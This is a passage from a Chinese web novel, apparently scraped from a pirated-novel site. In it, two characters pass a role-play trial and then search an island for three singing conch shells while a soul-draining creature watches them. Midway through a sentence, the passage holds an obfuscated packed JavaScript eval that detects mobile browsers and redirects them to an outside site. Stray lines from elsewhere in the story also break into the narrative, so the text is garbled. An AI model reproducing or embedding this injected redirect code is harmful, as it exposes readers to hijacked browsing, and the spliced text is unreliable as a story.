不过看来收走小隐的魂魄是002的任务吧,天仰也不知道怎么解决这个事,毕竟降赐还没回来。 002听到小隐说的话,直接对着剧本反驳回去:“你不就是被父母抛弃才临时住在你小叔家吗,难不成你是你小叔家的?别开玩笑了,你怎么可能会有家。” 虽然说这是剧本上的台词,但002也觉得这段台词过于伤人。 怎么前面几家没有这么虐的台词,到了这里就有了真的是。 天仰在听到002说的那些话时,在一瞬间套到了自己的身上,仿佛说的是他自己。 可回过神来,这些都已经过去了。 小隐可就没有那么好受,被一个陌生人这样说完,他的情绪有些炸开,开始质疑自己。 活着有什么用。 002看见天仰眸色沉了沉,联系到小隐,他突然发觉,这个小孩和天仰长得非常像啊!难不成...... 这个副本应该交给001比较合适...... 002内心捂脸,围观人家的过去他还真没什么兴趣。 就在此时,大门被人用力砸开。 降赐直接就闯进来了,看到房间里的002,眼神短暂性呆了一下,便马上反应过来:“你是谁!私闯民宅是犯法的!” 照着剧本上的台词念出来,降赐觉得这个台词有点傻,刚刚他才被一堆怪物追杀现在又说着这么现代的话...... 002也没想到这一个副本还真能遇到001,一种看热闹的心情涌了上来,但当他看到下一句台词的时候嘴角禁不住抽了抽。 “吾乃冥界割魂者,今日便是来取无家可归之人的命。”002还按照剧本的指示指了指小隐:“就是这个小孩,今日我便要带走他......” “我不同意。”降赐直接打断了他:“这个孩子是我家的哪里无家可归了。” 002顿了顿,看来他是和001的任务冲突了:“你们只有血缘关系。” 天仰就这么看着降赐和002在那叭叭,而站在他旁边的小隐看起来十分紧张,就好像降赐要是吵输了他就会被带走一样。 天仰虽然不知道在这个故事里他扮演的这个角色的用意是什么,但能够看到以前的自己,还是有点恻隐之心的。 他不是想救他,他只是想告诉他,以前的日子很好,要珍惜。 小隐的注意力显然都在他们的身上。 天仰也只想赶紧解决这个任务,便对小隐说:“你有没有硬币?” 小隐茫然地看着天仰,似乎不明白对方为什么会在这个时候问这个。 “今天是圣诞节,一个硬币可以许一个愿望哦。”天仰的语言似乎带着魔力,引诱着小隐。 小隐对这个说法很心动,反正也就一个硬币而已,他在口袋里掏了掏,一枚带着暖气的硬币落在了天仰的手上。 小孩盯着天仰的眼睛,一字一句认真说道:“我想要,这个圣诞节不能有任何人破坏。” 他不敢贪婪,哪怕只是梦境也会有醒来的那一天,而他只奢求沉浸在里面一小下,就马上脱离。 没有任何人能永远拥抱他,给他无时无刻的安全感,他能做的,就是远离那些美好。 避免奢求。 “好,我知道了。” 在天仰合上手掌时,系统提示音在脑子里提示,任务已经完成。 他没有再看小隐一眼,快步走到002面前,一伸手,割魂者便纳入到他的指环中。 便如一道烟雾消散。 在系统播报任务完成时,还附赠了另一条通知。 【角色异乡而来的法师扮演成功】 那时,他便知道了他的身份,以及身上的东西并不简单,果然一碰到冥界的人便自动收纳。 在天仰任务完成的同时,那枚戒指落在了门口的积雪上,主人设定二十四小时才能把里面的东西放出来。 002就这么莫名其妙被困在了里面。 降赐有些奇怪地看着消失不见的两人,陷入了沉思,手上还在不停地切着鸡肉。 看来他的任务是完成了,那他也要尽快结束这边的任务。 等任务完成后,有时间去找一下002,拿他的剧本看看。刚刚他在外面准备砸门的时候,听到002说的那些话,有些在意。 另一边。 天仰完成了任务,心里正吐槽着这次的任务好像没什么难度,便莫名其妙被传送到原先来的那片灰蒙蒙的迷雾中。 “怎么回事?”天仰不解道。 系统回复。 【恭喜幸存者通过扮演类考验】 【下一场是实战考验】 【目标传送中请稍等】 天仰:“???” 什么东西?!! “为什么会有两场考验?不是只有一场吗!” 【普通幸存者考验为一场,第一场为扮演类考验,考察幸存者是否具备卧底潜质】 【第二场只挑选第一场得分高的幸存者进行考验】 【幸存者天仰第一场考验评分为A级】 【在没有被NPC察觉是外来的人,以及没有毁坏角色性格,随机应变能力......完美完成任务】 天仰听了之后:...... 他就是一个异乡人谁知道他是谁?!而且他也是任务完成之后才知道自己的真实身份好吗?!! 系统显然听不见天仰内心的咆哮。 但还是有良心地提示道:“目的地传送完毕,幸存者可开始考验。” 天仰不情不愿地从迷雾中走出来,本以为轻轻松松就能完成任务,没想到还多了一场考验。 不知道沈郢怎么样了...... 周遭场景发生了变化,眼前是一片一望无际的海洋,他所站的地方只是沙滩的一角,一轮落日悬挂在海的深处,与海逐渐沦为一体,几艘小船颤颤巍巍地停留在海面上,任海浪冲刷。 只有天仰看清,海浪地下隐藏着如此凶险的怪物。 “......”天仰呆在原地,并不是被这场景给吸引了,而是他在等任务出现。 果不其然,他原地不动,系统的声音慢慢传来。 【幸存者已就位】 【现在播报任务】 【找到遗失在这片海区的能听到歌声的三只海螺】 【特别提醒,在晚上靠近海边会有不好的事情发生,林子里晚上没有点火的地方也会发生不好的事情,只有白天是安全的】 天仰:...... 艹...... 这都是什么事啊...... 现在看起来是傍晚,夕阳一半已经在海里了,已经快要接近晚上了。 天仰没有时间在这个地方浪费下去。 晚上不能接近海边,那他只能去林子里,还得在太阳落山前找到只够的柴火点燃一整夜才行。 天仰行动的速度很快,在林子里瞎转悠的时候确定了这个时间没有什么奇怪的生物,他便眼疾手快地捡了一地柴火,围成了一个圈,找不到能搭帐篷的材料,他便一直寻找木头。 反正他有便携空间环,在来之前就往里面塞了不少小道具,可惜就是忘了塞点帐篷什么的,不过还好有毛毯和吃的。 天仰放下心来,为了节省柴火,他掐点在太阳即将下山的那一刻用打火机点燃了木头。 与此同时,他感觉到在太阳消失的那一刻,林子里好像突然多了些什么,在黑暗中蠢蠢欲动,但碍于柴火没有出现。 天仰:...... 他讨厌这种环境...... 他僵着身子,一动不动地坐在满是树叶的地上,手里举着一把火,拨动着篝火,在火小了的时候便往里面加上一把。 此问题涉及考验规则 他的目光逐渐转到林子深处,虽然看不清林子里有什么,但是他的心里隐隐不安,就好像踏出这个火圈就会发生什么不好的事情一样。 天仰静静保持不动,想着怎么挨过这一个晚上,在这样一个危险的林子里睡觉哪怕有火光也很不安全。 思来想去,他还是决定把思路先放在任务上。 找到遗失在这片海区的能听到歌声的三只海螺。 海螺,这种东西应该在海域很常见,但任务要求是能听到歌声的海螺...... 天仰顿了顿。 他在心里呼唤系统:这场实战考验是只有我参加吗? 【实战考验分为多个副本,目前这个副本只有您参加】 天仰沉思了一下:那之后进来的人任务会跟我一样吗? 【任务会重新刷新】 那就好。 免得到时候因为几个海螺争起来,那画面简直了...... 天仰松了口气,百无聊赖地烤着火,耳边是呼呼的海风声,他能感觉到黑暗之中有什么东西正在盯着自己。 他的目光寸步不移,一直看着眼前的篝火。 那道目光像是失去了兴趣,过了一会儿便消失了。 天仰紧绷的肩膀慢慢放松下来,悄无声息地往外面看了一眼。 黑暗弥漫着整个林子,无数未知的危险藏匿其中,只有火光照耀下的天仰,犹如黑暗中的一盘诱人美食。黑暗中的生物蠢蠢欲动,却因为那团碍事的火焰无法前进一步。 天仰拿起一块不起眼的石子,随手往黑暗中一丢。 石子落在了地上,并没有被任何东西阻挡。 天仰有些诧异,随即收敛起情绪,他还是能感受到黑暗之中蕴藏的危险,所以不敢轻易让对方察觉到自己的反应。 天仰浑浑噩噩地在地上静坐了整整一晚,终于在天蒙蒙亮的时候撑不住了,随手往篝火里添了一把柴火,便睡了过去。 再次睁眼,天已经彻底亮了。 现在是白天。 天仰揉了揉有些头痛的脑袋,感觉还是很累,但为了早点做完任务,他还是慢慢站了起来。 把剩下的柴火整理成一堆,放在原地,便前往海滩。 太阳升起的海平面上,一抹金灿灿的光辉肆无忌惮地撒在沙滩上,沙滩被海浪冲刷了一遍又一遍,许多海螺和贝壳停留在沙滩上。 天仰趁着海浪还没打上来,在沙滩上捡了一堆海螺,便匆匆跑到离海岸稍远的地方。 沙滩上的贝壳很多,被海浪打上来的贝壳也很多,天仰一个个收集,一个个放到耳边聆听,最终还是一无所获。 他并没有找到什么能听到歌声的海螺。 天仰看了看沙滩上的海螺,感觉光是这样寻找并没有用。他的目光落在了海上,几艘破旧的小船停留在海面上,却始终没有被海浪打翻。 或许他得去一趟海。 天仰认真地想了想,觉得找些材料随便凑一凑,再用自己的天赋把船造出来。 越想越觉得这个方法可行。 于是天仰便趁着白天在林子里搜刮可以做船的材料,多捡捡柴火,没事就去沙滩上看看能不能捡到有歌声的海螺,晚上抱着胳膊坐在篝火前睡不好觉。 这样的日子过了三天。 天仰千辛万苦凑齐了做船的材料堆积在海岸边,他现在的精神状态愈来愈不好,连着好几天熬到凌晨才睡着,他现在站着都有点昏昏欲睡。 他强打着精神,脑子里回忆着船的模样,手指尖的光芒愈来愈强,最终轻轻落在材料旁。 一瞬间,船的形状便出来了。 天仰松了一口气,身体猝不及防地瘫倒下去。 可能是连着几天没怎么睡太没精神了...... 天仰这样想着,认命地倒了下去。 一双手从背后轻轻巧巧地搂住他,将他摁在怀里。 天仰下意识地想去推开,却浑身没什么力气。 “你没事吧。”一个陌生的声音在头上响起。 天仰有些不习惯地站好:“没事,多谢。” “没事就好,我是刚来这里的,你刚才好厉害,那是你的能力吗?” 面前是一个长相普通的少年,穿着一身休闲装,黑色的眸子定定地看着天仰,似乎有着不一样的光彩。 天仰对这个突然出现的人产生了疑惑,有些提防地看着对方:“是我的能力。” 他对眼前这个人并没有印象,或者说,他对幸存者里的人基本上都没什么印象,他不知道该怎么去判断眼前的这个人是人还是其他的什么东西。 他转身召唤了系统。 问道:现在除了我以外有其他人进入吗? 【此问题涉及考验规则,不予回答】 天仰:...... “啊对了,你进来多久了,这个副本难吗?”少年仿佛对这个副本充满了好奇,不停地问道。 天仰一一回答了他的问题,心里却愈发觉得奇怪。虽然这个人他长得和人一模一样,但他就是感觉有哪里说不出的怪异感。 这般想着,他问道:“我叫天仰,你叫什么?” “我叫白旭。”白旭腼腆地笑笑:“原来你就是队长啊——说起来之前副队长开会的时候你都没有来过呢,我是后面进来的,所以我们都没有见过面。” “......”天仰沉默了一下,其实就算是他们班的他都见过面,他现在也没有印象。 不过听他这样说完,天仰对他的怀疑打消了不少。 “对了,你的任务是什么,我们会不会冲突到。” “就找三样东西,你是什么?”天仰没有明说,怕出现什么不好的事。 “这样啊......”白旭奇怪地笑了一下:“那太好了,我们的任务没有冲突。我的任务是守护这片海,不能让外来人随意侵扰这里的宁静。” —— 天仰和白旭围坐在篝火前,默不作声地烤着火。 此时已经是傍晚,太阳即将要落山。 天仰看着眼前的火光,还是感觉哪里怪怪的,说不上来,尤其是听完白旭说的任务时,这种不安的感觉更加强烈。 天仰有些昏昏欲睡,不知为什么平常这个时间他还能多熬一会儿,现在却不住地犯困。 白旭今天刚来这座岛屿,情绪还格外的兴奋,见天仰已经累得不行,便提出让他来坚守岗位。 天仰听到这个提议,便再也坚持不下去了,都还没来得及想一下,便倒了下去。 白旭慢慢扶起天仰,让他靠在自己的身上,一双手若无其事地抚上天仰的脸,周身慢慢散发出与他的气场截然不同的黑雾,像是在吸食天仰的灵魂一样,缓缓地,流入他的身体里。 这时黑暗之中其他的生物蠢蠢欲动,在旁边发出了一点噪音,却始终不敢出现。 白旭慢慢抬起头,此时他的双目已经被一团黑色的雾气掩盖住,看上去有些渗人。他轻轻瞥了一眼外面的生物,顿时便安静了下来。 这个人的精神比他想象中更加美妙呢。 白旭看起来很兴奋,却又不敢一次性吸收太多。毕竟,人可以产生精神,可死人不行。 他慢慢地收起了黑雾,眷念地在空气中嗅了嗅那迷人的气息。 黑暗之中,另一抹奇异的光线忽闪忽闪,坠落在这座岛屿。 岛上的生物纷纷避让,生怕殃及自己。 白旭朝林子外看了看,嘴角勾起一抹笑。 又有好玩的东西来了。 次日。 天仰一脸头痛地醒了过来,不知为什么难得睡了一晚上,却感觉自己浑身上下没多少力气,还格外的累。而且梦里一直有奇怪的黑雾存在,似乎在窥看他的记忆,令他十分恼火,却没有力气收拾对方。 是太久没睡了所以更累了? 天仰格外的迷茫。 白旭倒在一旁的地上,看样子像是坚持不住睡意便倒了下去。 这样可不行! 天仰终于有了危险意识,没有火光的夜晚有多么不安全。 天仰有些嫌弃地看了白旭一眼,心里又叹了口气,他这副精神状态明显不行,更何况这任务一点进展也没有,他却已经要累倒了。 看着一旁还在睡的白旭,天仰果断起身准备上船。 不能让别的因素影响自己的计划! 虽然林知秋一直强调为了队里的和谐,在考验中看到队友记得顺手救一下。但天仰觉得昨天晚上自己把别人带到自己的地盘已经很友好了,更别说这人还没能坚持一个晚上就倒了。 生命安全很重要啊,懂不懂啊! 天仰全身无力地行走在沙滩上,感觉自己昏昏欲睡,但为了任务,他还是强打精神。 终于好不容易把船推到了岸边。 他累得直接趴在了船边,毫无形象可言。 这时,一双熟悉的鞋停在了他的面前。 天仰已经无力抬头了,只能半睁着眼睛,等着眼前的人说话。 “你怎么样了?” 降赐直接把天仰从地上抱起来,见他十分虚弱,面部惨白,没有一丝血丝,甚至连身体都无力地搭在他的怀里。 天仰在看到降赐时,心里猛地一振,相当激动,在激动中头一阵眩晕,在还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353460|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没来得及说话时便晕了过去。 降赐:“......” 其实看到他那么激动还是能理解的,但晕过去也太夸张了吧...... 他的目光在天仰身上停留了一下,便看向了从林中走出来的另一个人。 那你是来协助我完成任务的? “你好。”来人腼腆地笑笑,站在不远处,见到晕过去的天仰有些微微惊讶:“天仰怎么了吗?” 降赐跟他虽然保持着一定距离,但远远地就从对方身上感受到一股子阴邪的气息,在白天下不是很明显,但就是有那种气息。 看来这个东西就是这个副本的BOSS了。 降赐敛去神色,假装没有发现什么,不去打草惊蛇:“没什么,身体太虚弱晕了过去。” 白旭见对方没有对自己怎么样,放下戒心,大大方方地走了过去。 他能感受到对方身上很强烈的强者气息,自己并不是他的对手,而且从这副身体的记忆里得知这个人大概是什么监管者之类的拥有很高权利的身份,所以吸食对方精神力很难。 白旭盯着降赐看了一会儿,大大方方道:“你好,我是白旭,天仰小队的一员。” 降赐点点头,并没有多说一句话。 见对方没有第一时间对自己撕破脸,降赐也没有理由去对他下手,更何况怎么说这东西也是这个副本的BOSS,影响到天仰的成绩可就不好了。 白旭安静如鸡,把降赐带到天仰布置的营地后,便借口自己有任务离开了。 —— 降赐一边烤着火,一边看着天仰。 等对方醒过来,太阳已经落山了,林子里的某种东西蠢蠢欲动,传来了阵阵风声。 降赐视而不见,拨弄着篝火里的木柴,点点星火溅了出来,他低头看了天仰一眼,默默把柴火往旁边挑了挑。 天仰一脸头痛地醒了过来,看到了坐在他旁边的降赐,表情有点微微一愣,但很快反应过来:“你怎么会在这儿?” 随即,他才隐隐约约想起来,他晕倒前好像是降赐及时把他扶住。 降赐漫不经心地挑着柴火:“我的扮演任务结束了,系统让我随便选一个副本进来帮帮忙。”然后就选中你的了...... 天仰听完也没有感觉到哪里奇怪,由于现在身体的不舒服,导致他四肢乏力,脑子混沌,没有必要的时候就不太想用脑子。 “原来是这样......”天仰随口说了一句,不知为什么,他感觉自己越睡越晕。 这时,天已经黑下来了。 白旭也回来了,看到天仰醒了,跟他打了个招呼。 天仰浑浑噩噩地点了点头。 降赐见天色已晚,从便携环中取出一个大帐篷出来,是那种自动打开的帐篷,站起来对着天仰说道:“你跟我睡。” 天仰虽然感觉哪里怪怪的,但是脑子很不清醒,不过还是没有任何意见地随着降赐进了帐篷。 白旭被两人遗漏在外面,也没有任何怨言,乖乖地守在原地烤火。 这是一个隔音帐篷。 两人一进去里面便自动开了灯,却照不出两个人的人影,安全性能特别好。降赐拉上拉链,把里面的加固锁也缩上了,确保不会有灵力的怪物进来。 天仰没力气地坐在帐篷里,愈发没骨头地往下滑,坚强地睁着眼,看着降赐摆弄各种奇奇怪怪的东西。 “把这个吃了。”降赐随手塞了一个药丸进天仰的嘴里。 又从满是东西的角落里扒拉出一张折叠桌子,翻出一个小冰箱,掏出了许多食物。 之后从身上掏出一个小药瓶,随便拿了个面包往上面撒了撒,递给天仰。 天仰吃完药丸之后,精神好了很多,头也没有那么晕眩了,还能思考一下。又接过降赐递来的面包,毫无防范心地吃了起来。 降赐就默默地在旁边挖出了枕头被子什么的一堆床上用品,等天仰啃完面包,适时地递过去一瓶水。 天仰抹了抹嘴,道:“谢谢。” 此时,他的精神已经恢复了一半了,对眼下的处境产生了疑惑。 降赐见他精神恢复的差不多了:“你知道外面那个是什么东西吗?” 天仰听他这么说完一愣,脑子马上反应过来外面那个人是白旭,疑惑了一下:“他怎么了吗?” 说起来这个人出场也是很奇怪,感觉上说不出哪里奇怪,但就是给人一种怪怪的感觉。 “他不是人。”降赐没有多说,点到为止。 万一说多了扣分对天仰的影响可大了。 天仰默不作声的点点头,表示自己知道了。 “还有,你的任务。”降赐问道。 天仰知道这个人不会害他,对他或许有帮助,便实话实说:“收集三个能听到歌声的海螺。” “对了,既然你也进来了,你有任务吗?” “没有。” 监管者的身份很特殊,参加完NPC扮演任务之后便没什么事做,除非是像降赐这样没事找事,想去别的副本闯一闯的。 “那你是来协助我完成任务的?”天仰对此有点兴奋。 如果说是这样的话,那对于他来说真是太好了。 降赐对此也没有任何异议,便点了点头。 天仰看起来状态好了不少,连带着心情也好了很多。 “不过首先我们要先做一件事。”降赐悄悄地指了指外面:“要警惕外面那个东西,虽然我看不出它的原型是什么,但它确实是这个副本的BOSS。” 天仰明白的点了点头。 “然后,你到现在应该一无所获吧?”降赐看了他几眼。 “对,我进来之后,不知道为什么精神就很不好。” “那是因为外面那个东西会吸食人的精气,尤其是男人的。” “……” “不过趁着今天晚上我们要去一趟林子,搜寻一下线索。一般这种副本就是这样,如果你一直在原地耗下去,就什么都找不到。” “好……” 天仰对降赐所说的话没有任何意见,他在这个方面还是一个新人,多听一听老手的意见准没错,还能在其中多学取一些经验。 “那,时间差不多了我们出去吧。”降赐看了看腕上的表。 时间刚好是晚上十二点。 —— 降赐和天仰举着火把进了林子深处,出来的时候白旭瘫倒在地上呼呼大睡。 天仰想起降赐所说的话,便离他远远一点,根本不敢靠近这个吸食人精气的怪物。 降赐带头走在前面,天仰手里举着两个火把,身上还带了不少木材,以防万一用的。 两人在林子里走走停停。 碍于火光,林子里的生物根本不敢靠前,只敢缩在角落里畏畏缩缩地看着。 天仰毫不在意他们的目光,甚至回看过去,想看看这几天夜里一直盯着他的那些怪物是什么。 却在一片浓浓的黑暗中看不见。 降赐根本没有把心思担搁在这些上面,不断的往前走,时不时在树底下停留,看样子是在确认什么东西。 终于,在走了几百米后。 天仰的体力有有些耗尽,不由得问道:“我们这是要找什么?” 降赐:“找线索。” 系统给的线索实在太少,只能趁着晚上,在最危险的地方四处游荡看看。 不过这一圈下来,却出乎意料的一无所获。 降赐感到有些奇怪,朝天仰问了一句:“在我没有出现的时候,你原先的计划是什么?” 天仰短暂的回忆了一会儿:“好像是打算要出海,船已经做好停在岸边了。” 出海? 降赐想了想,觉得在这里继续耗下去很浪费时间,便带着精神不振的天仰回到帐篷里休息。 等到第二天的到来。 —— 这一晚天仰睡得很好,没有被奇怪的怪物吸□□气,也没有因为要守夜而浪费体力,一觉便睡到了天亮,精神也恢复了不少。 醒来的时候,降赐已经在帐篷外收集其他信息了。 由于降赐这个强大的因素突然加入,白旭就不太敢一直在天仰面前晃悠,白天的时候他几乎都不见。 天仰也没有兴趣去找他。 他带着降赐来到海边,找到了他做好的那艘船。 看起来面积不大,但是两个人坐上去,再加上天赋的加持,在海上航行不是问题。 于是两人便启程了。 海面上的太阳很晒,降赐负责用灵力掌控方向,朝着正确的方向前行。天仰则,一副被太阳烤焦了的样子,奄奄一息的趴在船边。 “你的体力很不行,回去应该加强锻炼。”降赐突然来了这么一句。 天仰不甚在意道:“哦。” 过了一会儿,他想了想,觉得自己应该借此机会多了解一点这方面的信息:“你觉得这个副本难吗?” “不难,这顶多算一个解谜型的副本。” “没有任何危险吗?” “正常副本都会有一个BOSS,这个副本里的BOSS只是会吸食人的精气,人身上的精气被它吸食干净,这个人也便没了生命。在我眼里这个副本不算危险。” “……” 天仰被降赐这么说完,都不知道该说什么好,沉默了一会儿,还是决定继续看海。 大概在海上航行了半个小时后。 “找到了。”降赐突然来了一句。 天仰马上来了精神,很快凑到他身边:“找到什么了!” “线索。”降赐淡淡的看了一眼靠在他旁边的天仰,觉得这个距离还是有点远,便默不作声的靠近了一点。 天仰四处张望了一下,发现前面漂着一个漂流瓶,里面似乎藏着一张纸。 这是…… 突生事变 。船靠的更近了些。 天仰伸手拾起了那个漂在海里的漂流瓶,仔细检查了一下发现没什么问题,便拧开了瓶盖。 里面是一张卷起来的信纸。 因为保存的很好,没有受到海水的冲击,信纸没有发皱,也没有潮湿。 上面只写着两个字。 月光。 “月光?”天仰念了出来。 降赐凑近些了看,发现没有多余的信息,单单只有这两个字,便移去了目光,道:“我们在这附近再找看看吧。” 海上航行的时间过得飞快。 在这短短一天的时间内,他们只找到了这一个漂流瓶。 “应该不止这一个线索才对,明天再去其他地方找找。”降赐确认周围没有其他的东西,便带着天仰返航了。 天仰把漂流瓶收好,现在暂时也找不到别的线索,而且天已经快黑了,只能先回到地上。 帐篷外。 降赐在给篝火里加木柴,天仰坐在一旁想着漂流瓶的线索。 白旭远远的坐在一边,一整天没有看到他,双方无话。 碍于降赐这个强大的因素,白旭减少了和天仰之间的对话。 “走。” 天仰突然眉头没有脑的对降赐说了一句。 降赐也没有任何异议,直接站起来跟着他走了。 白旭虽然很喜欢天仰身上的精气,但是有降赐这个不稳定的强大因素在他也不敢造次。 天仰举着火把和降赐来到海边,周围依旧的黑暗,但此时月光洒落在海岸边,隐隐有一束光照在了这里。 天仰顺着光的方向,找到了一个藏在礁石下的海螺。 天仰感觉此时的自己有点激动,很快的把海螺捡起来放到耳边。 一阵轻快的歌声环绕耳畔。 果然有! 天仰十分兴奋地把海螺贴到了降赐的耳边:“快听!真的有声音耶!!” 降赐猝不及防的被他贴了一耳朵,心里有些说不出的愉悦感,他淡淡地嗯了一声。 天仰还保持在找到海螺的兴奋感中,丝毫没有发觉这个动作不是很妥当,换做以前他都不会对别人做出这样的行为。 可他现在实在是太高兴了,终于找到了其中一个海螺,那另外两个海螺应该也就不远了。 “明天我们在岛上走走吧!”天仰提议道,上次是在晚上去的,可能很多线索都找不到,换作白天可能会有新的线索。 早点完成任务,早点回去! 天仰有些斗志昂扬。 “先回去休息吧。” “好。” —— 次日。 天仰醒来的时候,降赐又不在了。虽然说两个人睡在同一个帐篷里,但是每次都是天仰先睡着,降赐很晚才睡,所以他也不知道对方有没有睡。 天仰赶紧起来换上衣服,刚把头探出帐篷,就看到降赐手里把玩着一个东西。 漂流瓶?! 天仰惊异道:“这是哪来的?” 降赐随手把漂流瓶抛到他的手里:“起的有点早,去林子里遛了一圈,树底下发现的。” 天仰显得十分惊喜,飞快的把里面的信纸拿出来。 打开。 海平面。 这回是三个字。 不过天仰大概知道这是哪里了,因为已经在这呆了那么多天,很多地方都已经逛熟了,所以他对这个地方,已经有了猜测。 “我大概知道在哪儿了,走吧。”天仰信誓旦旦的说道。 降赐不急不慢地递过去一个烤的不是很焦的面包,缓缓道:“先吃,吃完再去。” 天仰有些错愕,突然缓过来,这几天他和降赐走的似乎有点过分的近了,放在以前,他从来不会跟人走的这么近。 更别提睡在同一个帐篷里了。 这些年除了跟沈郢玩的比较好,以外其他人都很少接触。 天仰想到这里,身体已经先一步接过了面包,嘴里说两句:“谢谢。” 降赐没太大反应,继续靠着手里另外一个面包。 天仰这时才发现,降赐坐着的旁边的地上,已经堆满了一堆烤焦了的面包,黒糊糊的,完全不能吃的那一种。 这…… 天仰心里有些惊讶,但话不多说,为了节省时间,早点回去,他很快吃完面包。 —— 海滩礁石处。 降赐悠闲的跟在天仰的身后,天仰四处寻找着海螺。 海平面这三个字给他的启发很大。 这几天他在这整座岛上探索的时候,有经过一处地方,那里能看到整个海平面,非常的壮观。 大概是在一处礁石十分的地方,天仰,动作灵敏的翻了上去,降赐紧随其后。 两个人站在一处很高的礁石上,晃着波澜壮阔的海,徐徐海风朝着他们吹来,很是惬意。 天仰的视线在海平面上不停的搜索,终于看到很远的海上,有一抹反光的东西。 “你看看那个是不是漂流瓶?”天仰指了指那一处闪闪发光的地方。 降赐的视力很好,看了一眼道:“对。” “太好了。” 天仰瞬间振奋了不少,但看了看那么远的地方,又感觉方向感不是很好,思考了一阵对降赐说:“要不你在这儿给我指指方向?然后我开船过去。” “好。你小心点。” 天仰得到允许后,速度很快的回到昨天的岸上,找到那艘船,运用自己的幻想力天赋,驾驶着船朝着那个方向驶去。 天仰不是很确定方向,他控制着船在海上航行了一会儿,回头过去看降赐。 降赐远远地便收到了他的视线,给他打了个手势。 对方看懂之后,继续航行。 降赐看着那个逐渐变成小黑点的少年,感觉自己心里对那个黑发少年的变化正在不断加深,尤其是经历了上一个扮演型考验,从那个孩子口中知道了一些他的过去。 内心便久久无法平静。 他曾经以为,每个地球人的过去都是一样的,至少不会有太大的偏差,都是从一个正常的家庭走出来的,直到他真正了解了他以后。 才发现…… 原来事实并不是那样的。 原来军中的情报是有误差的。 原来不是什么事情都跟他的想法一样的。 “唉……”他不住地发出了一声叹息。 回去之后一定要找002拿他的办演剧本来看一下。 …… 乘着船飘荡在海上的天仰,看着眼前越来越近的漂流瓶,趴在船身上,伸手用力一勾。 漂流瓶便到手了! 天仰激动的打开漂流瓶,拿出里面的信纸。 这会只有一个字。 林。 所以说另外一个海螺在林子里? 天仰有些猜不透这个意思。 不过没关系,他有军师降赐!怎么说对方也是个经验老道的多年军官,既然线索都找到了三张,对方也应该推算出了什么。 天仰这般想着,打算回去找降赐。 在驾驶着船转动方向的时候,天仰,突然感觉到船身被碰到了什么。 他愣了愣,朝着被磕到的那个地方看了一下。 发现海上静静飘着一只海螺。 海螺! 天仰激动地拿过海螺,凑到耳边,果真正在里面听到了一阵小小的歌声。 第二只海螺了!!! 感觉今天有点幸运是怎么回事? 哪怕是不擅长有情绪表达的天仰,此时也忍不住露出了一个笑意,对着远到看不见的降赐举了举手里的海螺。 也不知道对方看不看得见,反正她很高兴就是了。 太好了,再找到一个就能回去找沈郢了! 天仰重新驾驶船朝着岸上驶去。 降赐远远的就看到他的黑发少年举着海螺对着他笑的画面,心情莫名其妙好了不少。 他从礁石上下来,走到海滩上,去等待少年回来。 天仰在离海滩越来越近的时候,突生事变,海浪莫名其妙冲了上来,带着波澜壮阔的海水,闹得整片海波涛汹涌。 整片海莫名闹了起来。 天仰的表情僵住了。 这是他第一次独自开船航行在海上,没有什么经验,遇到这样的事也不知道该怎么做。 好在,他会游泳。 天仰看着越来越汹涌的海域,咬了咬牙,硬着头皮跳进了海里。 远处,降赐莫名心猛地提起,但脑子里还是时刻告诉自己要冷静下来。 这样的事情以前也不是没有遇到过,只要…… 降赐从便携环中飞快取出一道符咒,对着汹涌的海水快速地摁了下去。 符遇水并没有湿透,而是沉入海底。 这个是特制的符咒,可以压制一切自然现象,是川珩研究的最新成果,不过暂时还没有发出去。 降赐盯着动荡不息的海平面,渐渐地海水震荡得越来越缓慢,逐渐平静了下来。 刚刚跳进海里的天仰,在落入海中的那一刻,早已被海浪推得翻来覆去的,不知被卷到了哪个地方。 降赐耐心地站在海滩上等着。 他知道,他一定不会轻易死的。 过了很久很久,直到降赐的耐心快要用尽时,平静的海水上终于有了一点动静。 一个黑色的小点冒了出来,非常用力地钻出了海面,却又在下一秒掉进了水里。 降赐眼疾手快地把天仰捞了上来。 对方奄奄一息地趴在他的怀里,不住地吐着水,浑身颤抖了几下,对着地上便干呕了起来。 降赐心疼地拍了拍天仰的背,等着对方吐的差不多了,才摸了摸他的肚子,确定肚子里没有多的水之后。 便把人横抱起来,朝着帐篷的方向走过去。 天仰刚被水淹完,此时已经奄奄一息,没有任何想法了。 恭喜幸存者天仰完成实战考验 降赐动作迅速地把人抱到帐篷里,一次性拿出很多高科技,都是川珩用不上顺手塞给他的,现在倒是起到了不小的帮助。 毕竟按降赐的作风他很少帮助人,而自己用上这种道具的概率并不大,现在难得一用,他还觉得怪不习惯的。 不过这也要看救的对象啊。 降赐暗自打量着黑发少年。 天仰紧闭双眼,似乎陷入了沉睡,但眉头还是紧紧地皱着,难以安心的样子。 降赐拿道具的手突然顿住,感觉自己有些莫名其妙,明明之前都不会对人如此亲近,而最近这么反常难道只是因为他那个身份吗...... 为什么会这样...... 降赐开始反思自己的行为,却从中无法看出自己的内心。 救人重要救人重要...... 用上了奇怪道具的天仰不过一会儿便睁开了眼睛,看着身边没有人,有些难受地坐了起来。 脑子里回想起自己已经找到了两个海螺,顿时有些欣喜若狂,但头又一阵阵地疼着,他想起了最后一个漂流瓶的线索,决定先去找降赐梳理一下线索。 这时,帐篷被人从外面掀开。 降赐端着一碗闻起来很奇怪的汤进来。 天仰抬头看了一眼汤的色泽,看起来不仅闻起来奇怪,样子也很奇怪。 不过降赐本人对此毫无察觉,甚至直接放在了桌上,冲天仰招招手:“先过来把它喝了。” 天仰顿住了两秒,奇道:“这是什么?” “药。”降赐一个字便解释完了感觉有哪里不妥,便多说了一句:“里面是很多珍贵的药材。” “......”天仰沉默了一会儿,狐疑地看向降赐:“这是吃什么的?” 总不可能是溺水的吧? 降赐看起来像是被这个问题问住,停顿了一会儿:“就很多珍贵药材煮的,多少对身体有些帮助。你体质太差了要多补补,不然天赋再好也没用,身子底子太虚了。” 天仰:“......” 